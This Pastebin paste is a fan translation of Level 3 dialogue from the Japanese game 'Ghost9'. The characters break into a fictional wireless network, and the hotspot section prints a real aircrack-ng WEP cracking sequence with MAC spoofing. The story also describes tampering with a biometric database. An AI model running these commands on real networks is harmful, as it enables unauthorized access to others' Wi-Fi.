Advertisement
Guest User

Ghost9 Level 3 TL

a guest
Jun 16th, 2017
149
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 25.80 KB | None | 0 0
  1. *********************************************
  2. Ghost9 Translation
  3. Date: 2017/06/xx
  4. Translated by: anonymous
  5.  
  6. Text Translated:
  7. -Level 3 Dialogue
  8. -Hotspot Dialogue
  9. -Future dialogue
  10. -Biometrics Dialogue
  11. *********************************************
  12.  
  13. [When you arrive on the other side of the Level 3 entrance from level 2, and use the PC]
  14.  
  15. UNIXベースの端末がある// There is a UNIX base terminal here.
  16. 扱いやすいインターフェイスになっている// It turned out to be a user friendly interface.
  17.  
  18. この端末で扉を制御しているようだ // It seems like this terminal is controlling the door.
  19.  
  20. スノートは扉を開けた //Snort opened the door.
  21.  
  22. スノートは扉のパスワードを変更した//Snort changed the door's password.
  23.  
  24. [When you obtain an Ice Sword from the permanent crate]
  25.  
  26. 「アイスソード」をてにいれた! // You obtained the Ice Sword!
  27.  
  28.  
  29. [When you reach the large pitfall down to level 4 you get a transmission from Chief]
  30. [Note: This can occur before you meet Ghost]
  31.  
  32. 主任「スノート、急な通信ですまない//Chief: Snort, sorry for contacting you on such short notice,
  33. 毒ガス軍のネットワークに関して手伝ってほしいことがあるんだ//there's something I'd like you to help me with related to the Poison Gas network.
  34.  
  35.  
  36. 君が管理者の部屋から持ってきたネットワーク図を元に// I originally tried access the network chart you brought back
  37. 戦艦からアクセスをしてみたんだが// from the administrator's room from the battle ship but,
  38. 各階層から5階層へ通信が遮断されているようなんだ」//transmissions from every level to the 5th level are cut off.
  39.  
  40. つまり、5階層へネットワーク経由でアクセスできない状態、//In other words, the 5th level is in a state where is can't be accessed via the network,
  41. ほぼ(スタンドアロン)な状態になっているんだ//it's in an almost "standalone" state.
  42.  
  43. 君には5階層の内側から端末を操作して//In order for you to manipulate the terminal from the inside of level 5,
  44. 5階層へアクセスできるよう機器の設定変更をしてもらいたい」//I want you to alter the settings of a device capable of accessing the 5th level.
  45.  
  46. 助手「しかし、主任//Assistant: But Chief,
  47. 5階層へ行くにはバイオメトリクス認証が必要になるため//since the 5th level requires biometric authentication to reach it,
  48. 今までのように直接端末操作をすることが出来ません」//you won't be able directly access the terminal just as you can't now.
  49.  
  50. 主任「実は5階層への通信経路は//Chief: Actually, the comm. channel to level 5 is apart from the existing network,
  51. 既存のネットワーク以外に、3階層にアクセス出来る場所があるようなんだ」//there's a place capable if accessing in level 3.
  52.  
  53. 助手「あるよう?」//Assistant: There is?
  54.  
  55. 主任「物理ネットワーク図によると//Chief: According to the physical network chart,
  56. 無線LANのアクセスポイントが3階層に//there seems to be a WLAN access point
  57. 設置されているらしいんだ」//installed in level 3.
  58.  
  59. スノート、//Snort,
  60. 5階層の設定を変更するために//in order to change the 5th floor's configuration
  61. アクセスポイントを探してほしい//I want you to search for the access point.
  62. まずは(ノートパソコン)を見つけてくれ//First of all find a "laptop".
  63. 見つけてから通信機で指示をするよ」//After you find it I'll issue orders through the comm. device.
  64.  
  65. [When you encounter Ghost for the first time]
  66.  
  67. ?「私の名前は(ゴースト)//?: My name is "Ghost".
  68. 毒ガス軍ネットワークの管理者をしている//I'm acting as the Poison Gas Army's network administrator.
  69. そちらが毒ガス軍の関係者でないことは認識している//I'm aware that you are not one of the Poison Gas Army's authorized personnel.
  70.  
  71. それを理解し私の身の保全を約束したうえで私の話を聞いてもらえないだろうか、//Knowing this and before being promised my personal safety, won't you listen to what I have to say,
  72. スノート君」//Snort-kun?
  73.  
  74. 主任「管理者だって!?//Chief: Did you say administrator!?
  75. あなたがこの年でこのシステムを作ったのか?」//You made the system at your age?
  76.  
  77. ネットワークはあなたが設計したのか?//Are you the one who designed the network?
  78.  
  79. ゴースト「違う、//Ghost: No,
  80. (ナイン)とかいうメインフレーム時代以前の化け物が作ったものだ//it was Nine, who among other things was called a monster from before the mainframe era.
  81. 私は関与していない」//I didn't take any part in it.
  82.  
  83.  
  84. 主任「なるほど納得がいく、//Chief: I see, now I get it,
  85. ここまで理にかなったネットワークはベテランでないと作れないからね」//since the network I've understood till now couldn't have been created without a veteran.
  86.  
  87. 隊長「誰だ、ナインという奴は?」//Commander: Who is this Nine guy?
  88.  
  89. ナインとは誰か?// Who is Nine?
  90.  
  91. ゴースト「言っただろ、化け物だって//Ghost: Didn't I tell you? They said he's a monster.
  92. 1969年、DARPAの指揮の下に始まったアーパネット時代から//1969, since the ARPANET era which started under DARPA's command
  93. 今日に至るまでインターネットに居座っているハッカーのことだ//up until this day, he's a hacker that remains on the internet.
  94.  
  95. 現在まで誰も彼に会ったことがなく、カルト的な支持を得ている//Up to now no one has ever met him, and he has acquired a cult-like following.
  96. いまだ現役で知識は深く、アングラでは100歳以上の老人だとうわさされている」//Still in active service, his knowledge is profound; in underground it's rumoured that he's a senior at least 100 years old.
  97.  
  98. 5階層について//Regarding the 5th level.
  99.  
  100. ゴースト「5階層は原子炉だ//Ghost: The 5th floor is the nuclear reactor.
  101. 原子炉管理センターはナインがオープンベースで作ったといわれている//I was told that the nuclear reactor control center was created by Nine using open base.
  102.  
  103. 入室前にバイオメトリクス認証が必要になる//It turns out that you need biometric authentication before entering.
  104. とはいえ、今は放射能汚染されているから入ろうと思う奴はいないだろう」//That said, no one would think of entering now due to the radioactive contamination.
  105.  
  106. バイオメトリクス認証?//Biometric authentication?
  107.  
  108. ゴースト「個別のIDカード、パスワード、//Ghost: It's a machine that performs authentication on a person that enters,
  109. 身体の特徴をデータベースに保管して入室者認証を行っている装置だ//from their and body characteristics, password, and individual ID card that are stored in a database.
  110.  
  111. 原子炉の作業者をはじめ//First the nuclear reactor's workers started,
  112. 毒ガス軍の幹部や日南重工のベンダー、//the Poison Gas Army's leaders, the Nichinan Heavy Industries' vendor,
  113. ネットワーク管理者のみが5階層に入れる//and the network administrator. Only those people are allowed on the 5th level.
  114. 私も入室出来たが//I was able to gain entry but,
  115. 今はその権利を毒ガス軍幹部から没収されている」//those privileges were seized by the Poison Gas Army leaders.
  116.  
  117. 毒ガス軍の幹部?//The Poison Gas Army's leaders
  118.  
  119. ゴースト「彼らは原子炉のメルトダウン対応のため、管制室にいる」//Ghost: In order to deal with the nuclear reactor's meltdown, they're in the control room.
  120.  
  121. 日南重工のベンダー?//Nichinan Heavy Industries' vendors?
  122.  
  123. ゴースト「原子炉の業者だ//Ghost: They're the nuclear reactor's supplier.
  124. 毒ガス軍は日南重工から原子炉を納入した上、保守契約も行っている//In addition to NHI supplying the Poison Gas Army with the nuclear reactor, they're also carrying out a maintenance contract.
  125. 表側では紳士ぶっているが裏ではテロ組織に協力している//On the surface they put on a gentlemanly air, but underneath they're cooperating with a terrorist organization.
  126. 慈悲深い組織だろ」//A benevolent organization isn't it?
  127.  
  128. 隊長「今はそんな話をしているのではない、//Commander: I don't know anything about that story,
  129. 5階層に入る方法を教えろ」//tell us how to get into level 5.
  130.  
  131. ゴースト「焦るなよ//Ghost: Don't be in such a hurry.
  132. 日南のベンダーには日南雇いの諜報員が混じっていて//I heard talk that there are Nichinan spies mixed in among the Nichinan vendors,
  133. 毒ガス軍のサーバ運用を監視しているって話だ//and that they're monitoring the Poison Gas Army's server operation.
  134. 名前は頼山、有島、スコット……」//Their names are Raizan, Arishima, and Scott...
  135.  
  136. 頼山?//Raizan?
  137.  
  138. ゴースト「頼山は現在下水道にいるらしいな」//Ghost: It seems like Raizan is currently in the sewers.
  139.  
  140. 有島?//Arishima?
  141.  
  142. ゴースト「有島はBブリッジ付近にいる」//Ghost: Arishima is in the vicinity of the B-Bridge.
  143.  
  144. スコット?//Scott?
  145.  
  146. ゴースト「スコットはおそらく4階層と5階層を行き来しているようだな//Ghost: Scott is probably going back and forth between levels 4 and 5.
  147. 監視サーバのログを見て確認できた」//I was able to confirm this from seeing the surveillance server's logs.
  148.  
  149. 隊長「お前が私たちに協力している理由はなんだ」//Commander: What's your motive for cooperating with us?
  150.  
  151. ゴースト「身の安全を保障してもらいたい//Ghost: I want you to guarantee my safety.
  152. 毒ガス軍の原子炉と心中したくない」//I don't want to die with the Poison Gas Army's nuclear reactor.
  153. ALT (lit): I don't want to commit 'double suicide' with the Poison Gas Army's nuclear reactor.
  154.  
  155. ナインとの関係は?//What's your connection with Nine?
  156.  
  157. ゴースト「彼女からスキトラを受けて、ネットワーク運用を引き継いでいる//Ghost: He got into some love trouble with his girlfriend, and handed over network operations.
  158. 私の上司に当たるのだろう//Seems like he's in contact with my boss.
  159. 今は連絡を取っていない」//I can't get in touch with him now.
  160.  
  161. 隊長「もういい、//Commander: Enough,
  162. 彼女を解放してやれ//release her.
  163. しかし協力はしてもらうぞ」//However, I'll have her cooperate.
  164.  
  165.  
  166. [After talking to Ghost, when Snort encounters Arishima at the B-Bridge]
  167.  
  168. 有島「お前が私の頼山を……//Arishima: What you did to my Raizan...
  169. 許さない……」//I won't forgive you....
  170.  
  171. [The scene shifts to the bridge]
  172.  
  173. 有島「私の名は有島、いざ」//Arishima: My name is Arishima, now come.
  174.  
  175. バイヤー「奴がゴーストが言ってた日南重工のエージェントか//Buyer: So she's the NHI agent that Ghost spoke about.
  176. いい趣味をしている人材ばかりいるな」//There are nothing but talented people with "nice hobbies" here aren't there.
  177.  
  178. ゴースト「彼女の上司はもっといい趣味をしている」//Ghost: Her boss has even "nicer hobbies".
  179.  
  180. 隊長「奴は体に似合わず強化外殻用のカッターを自由に扱う//Commander: She freely handles CUTTERS for Enhanced Shell use that don't suit her body.
  181. 油断していると体が二つに分かれることになる//If you're careless you'll get your body split in two.
  182. スノート、気を抜くな」//Snort, don't lose focus.
  183.  
  184. [After the battle]
  185.  
  186. 有島は原子炉に侵入する手がかりを持っていなかった//Arishima didn't have any leads as to how infiltrate the nuclear reactor.
  187.  
  188. 主任「あと5階層で復旧作業を行っている//Chief: After this you have no choice but to look for Scott
  189. スコットを探るしかないですね」//who's doing repair work on level 5.
  190.  
  191. 隊長「最後の1人か・・・//Chief: The last one huh?...
  192.  
  193. スノート、//Snort,
  194. これ以上時間をかけるわけにはいかない、//you can't afford to waste any more time on this.
  195. 4階層へ侵入し、スコットを探せ」//Infiltrate level 4, and look for Scott.
  196.  
  197.  
  198. - [Hotspot Dialogue]
  199.  
  200. [Wireless LAN hotspot dialogue, when you don't have Scott's LAN card]
  201.  
  202. ゴーストのノートパソコンが反応した//Ghost's laptop reacted.
  203. スノートはアクセスポイントを見つけた//Snort discovered an access point.
  204.  
  205. 主任「スノート、//Chief: Snort,
  206. アクセスポイントを発見したようだね//you discovered an access point didn't you.
  207.  
  208. さっそく無線で盗聴してアクセスポイントの状態を// let's immediately verify the access point's current status
  209. 確認しよう」//by wireless interception.
  210.  
  211.  
  212. スノートは無線LANカードの設定をした//Snort set the wireless LAN card's configuration.
  213.  
  214. #airmon-ng start eth0
  215. Interface Chipset Driver
  216. ath0 Atheros madwifi-ng
  217. (parent:eth0)(monitor mode enabled)
  218.  
  219. 主任「このアクセスポイントについての情報、//SS: According to the access point's data
  220. BSSIDは12:34:56:78:90:AB、//the BSSID is 12:34:56:78:90:AB,
  221. 無線のチャンネルは9、//the wireless channel is 9,
  222. ESSIDはWDOKUGAS」//and the ESSID is WDOKUGAS.
  223.  
  224. スノートはアクセスポイントの盗聴を開始した//Snort started the access point's interception.
  225.  
  226. #airodump-ng
  227. --bssid 12:34:56:78:90:AB
  228. --channel 9
  229. -w /tmp/dump ath0
  230.  
  231. スノートはアクセスポイントの送受信状態を確認した// Snort confirmed the status of the access point's transceiver.
  232.  
  233. #airdump-ng ath0
  234.  
  235. 主任「データの流れがほとんどない、//Chief: There's hardly any data flow.
  236. 思った通り、この付近にいる毒ガス兵は/Just as I suspected, the Poison Gas soldiers in this vicinity
  237. アクセスポイントの存在を知らないようだ//don't know about the access point's existence.
  238. テスト用に設置されてそのままになっているのかな」//I wonder if it was installed to be that way for test use.
  239.  
  240. ゴースト「テスト用ではない、日南重工ベンダー専用の保守回線だ//Ghost: It isn't for test use, it's the exclusive-use maintenance line of the Nichinan Heavy Industries vendors.
  241. アクセスポイントに関連させてみたら理由が分かるよ」//I know why you'd want to see if the access point would allow you to connect to it.
  242.  
  243. じょしゅ「WEPというあんごうをりようしているみたいね、//SS: It seems like it uses WEP encoding,
  244. つぎはAPにかんれんさせてみて」//next try see if the access point will allow you to connect to it.
  245.  
  246. スノートはノートパソコンとアクセスポイントを関連させてみた//Snort tried to see if the access point would allow a connection to the laptop.
  247.  
  248. #aireplay-ng -1 0 
  249. -a 12:34:56:78:90:AB
  250. -h 00:11:22:33:44:55
  251. -e WDOKUGAS ath0
  252.  
  253. Sending Authentication Request
  254. AP rejects the source MAC address ?
  255. Authentication failed (code 1)
  256.  
  257. ゴースト「このアクセスポイントは//Ghost: This access point has been arranged, so that only
  258. 特定の無線LANカードを持った日南重工ベンダーしか//a Nichinan Heavy Industries vendor, that had a special wireless LAN card,
  259. 入れない仕組みになっている//could get in.
  260. MACアドレスフィルタリングの応用だ//This is an application of MAC address filtering.
  261. 私のLANカードでは接続することが出来ない」//You can't connect with my LAN card.
  262.  
  263.  
  264. ゴースト「全パターンのMACアドレス照合が必要になるが、//Ghost: A comparison of all MAC address patterns is necessary but,
  265. 自動検出ツールで調べても//even if you checked it with an automatic detection tool,
  266. 今のレスポンスを考えて、数日はかかるな」//considering a current response, it's gonna take a few days.
  267.  
  268. 隊長「つまり日南重工ベンダー……//Commander: In other words, the Nichinan Heavy Industries vendor...
  269. 日南の諜報員から無線LANカードを手に入れるしかない……」//We have no choice but to obtain a wireless LAN card from Nichinan's spy.
  270.  
  271. 主任「スノート、//Chief: Snort,
  272. 日南重工の無線LANカードを手に入れて、//obtain Nichinan Heavy Industries' wireless LAN card,
  273. もう一度アクセスポイントに接続しよう」//and then let's connect to the access point again.
  274.  
  275.  
  276. [If you leave the area and try the access point again (without Scott's LAN card)]
  277.  
  278. ゴーストのノートパソコンが反応した//Ghost's laptop reacted.
  279. スノートはアクセスポイントを見つけた//Snort discovered an access point.
  280.  
  281. しかしゴーストのLANカードではアクセスポイントに関連出来ない//However, Ghost's LAN card can't connect to the access point.
  282.  
  283. - [Future Dialogue]
  284.  
  285. [The next set of dialogue occurs after a revisit to the wireless LAN hotspot on level 3]
  286. [Requirements: Defeat Scott on level 4, acquire Ghost's laptop]
  287.  
  288. スノートはノートパソコンにスコットの無線LANカードを差し込んだ//Snort inserted Scott's WLAN card into the laptop.
  289.  
  290. スノートはノートパソコンとアクセスポイントを関連させてみた//Snort tried to see if the AP would allow a connection to the laptop.
  291.  
  292. #aireplay-ng -1 0
  293.  -a 12:34:56:78:90:AB
  294.  -h 00:FF:FF:FF:FF:FF
  295.  -e WDOKUGAS ath0
  296.  
  297. Sending Authentication Request
  298. Authentication successful
  299. Sending Association Request
  300. Association successful :-)
  301.  
  302. スノートはノートパソコンとアクセスポイントを関連させることが出来た//Snort was able to connect the laptop to the access point.
  303.  
  304. 主任「よし、次はWEP暗号を解読するために//Senior Staff: Good, next commence a Fragmentation attack
  305. Fragmentation attackを始める」///so you can decrypt the WEP encoding.
  306.  
  307. #aireplay-ng
  308.  -5 -b 12:34:56:78:90:AB
  309.  -h 00:FF:FF:FF:FF:FF ath0
  310.  
  311. Use this packet ? Y
  312.  
  313. Saving keystream in
  314. fragment-0000-0000.xor
  315.  
  316. #packetforge-ng
  317.  -0 -a 12:34:56:78:90:AB
  318.  -h 00:FF:FF:FF:FF:FF
  319.  
  320. -k 255.255.255.255
  321.  -l 255.255.255.255
  322.  -y fragment-0000-0000.xor
  323.  -w doku
  324.  
  325. Wrote packet to: doku
  326.  
  327. #airodump-ng
  328.  --bssid 12:34:56:78:90:AB
  329.  --channel 11
  330.  -w /tmp/cap ath0
  331.  
  332. #aireplay-ng
  333.  -2 -r doku ath0
  334.  
  335. Use this packet ? Y
  336.  
  337. Saving chosen packet
  338.  in replay_src-0000-0000.cap
  339.  
  340. スノートは解読するのに十分なデータが//Snort confirmed that enough data
  341. 集まったことを確認した//was collected while decrypting.
  342.  
  343. 主任「OK、後は解読するだけだ」//Chief: OK, and now all that's left is the decryption.
  344.  
  345. #aircrack-ng -z /tmp/cap
  346.  
  347. スノートは解読が終わるまで待った//Snort waited until the decryption was finished.
  348.  
  349. #KEY FOUND! (ASCII: D4O5KU6G06U)
  350.  
  351. #iwconfig eth0
  352.  essid WDOKUGAS
  353.  key D4O5KU6G06U
  354.  
  355. #ifconfig eth0
  356.  hw ether 00:FF:FF:FF:FF:FF
  357.  
  358. #dhcpcd eth0
  359.  
  360. スノートはファイアーウォールを探した//Snort searched for a firewall.
  361.  
  362. #ping 192.168.5.1
  363.  
  364. Packets:
  365.  Sent=4, Received=4, Lost=0(0% loss),
  366.  
  367. 主任「ファイアーウォールはWEBブラウザで操作できるはずだ、//Chief: You should be able to manipulate the firewall by web browser,
  368. 80番ポートにHTTPで接続してくれ」//connect to port 80 with HTTP please.
  369.  
  370. スノートはWEBブラウザを立ち上げ、//Snort started up the web browser,
  371. ファイアウォールの管理インターフェースに接続した//and connected to the firewall's control interface.
  372.  
  373. #スノートはバイオメトリクス認証サーバへすべての通信を//#Snort configured the firewall so that
  374. 許可するようファイアウォールを設定した//all transmissions to the biometric authentication server are authorized.
  375.  
  376. ゴースト「スノート、//Ghost:
  377. 初心者にしてはいい勘をしている//for a beginner you have good intuition.
  378.  
  379. 並の攻撃者ならやみくもにGUIを荒らすが//If it were an average attacker, they'd blindly break into the GUI,
  380. 目的を理解して的確に操作できる上級者は慎重に行う//but an expert, who understands their objective and is able to operate precisely, would conduct themselves cautiously.
  381.  
  382. ハッキングの不運は接続してから兆候を示す、//The bad luck in hacking is leaving a trace after connecting,
  383. 記録されたことを説明できない、見えない、聞こえない//you can't explain the things recorded, you can't see it, nor can you hear it.
  384.  
  385. 記録からいずれ破局を迎える//Because of records you will eventually approach disaster.
  386. 初心者と上級者の違いは1番目の壁に残すか、//The difference between a beginner and an expert, is whether you leave it behind at the first obstacle,
  387. 2番目の壁に残すか少しの差でしかない」//or leave it behind at the 2nd obstacle, it's no more than a small difference.
  388.  
  389. ゴーストはファイアウォールのログを調べた//Ghost examined the firewall's log.
  390.  
  391. ゴースト「プロクシサーバから原子炉管理システムに向けて//Ghost: Several packets can be sent towards the
  392. 数個のパケットが送られている……」//nuclear reactor control system from the proxy server...
  393.  
  394. 隊長「ゴースト、//Commander: Ghost,
  395. スノートを5階層に侵入させることが先だ//allowing Snort to infiltrate level 5 comes first.
  396. バイオメトリクス認証サーバのデータベース改ざんを行え」//Carry out the falsification of the biometric authentication server's database.
  397.  
  398. ゴースト「隊長が持っているスノートの情報をこっちに送ってくれ//Ghost: Commander, send the information you have on Snort over here.
  399. データベースに登録する」//I'll record it in the database,
  400.  
  401. ゴーストはスノートの情報をバイオメトリクスのデータベースに登録した//Ghost recorded Snort's information in the database.
  402.  
  403. ゴーストはファイアウォールに残ったログを収集した//Ghost collected the log that remained in the firewall.
  404.  
  405. 隊長「よくやった、//Commander: Good work,
  406. これでスノートはバイオメトリクス認証を通過出来る」//with this Snort will be able to pass through biometric authentication.
  407.  
  408. [If you leave the area and come into contact with the hotspot again]
  409.  
  410. アクセスポイントがある、//There's an access point here,
  411. もう使うことはないだろう//there's no reason to use anymore now is there.
  412.  
  413.  
  414. - [Biometrics Dialogue]
  415.  
  416. [When you try to enter level 5 between level's 3&4 without access]
  417.  
  418. UNIXベースの端末がある// There is a UNIX base terminal here.
  419. 扱いやすいインターフェイスになっている// It turned out to be a user friendly interface.
  420.  
  421. バイオメトリクス認証により出入り口を管理しているようだ
  422.  
  423. 主任「扉を開けるには// Senior Staff: It's too soon to falsify the biometric authentication server's
  424. バイオメトリクス認証サーバのデータベースを改ざんするほうが早い// database in order to open the door.
  425. 5階層へのアクセス方法を探そう」//Look for a way to get access to the 5th level.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement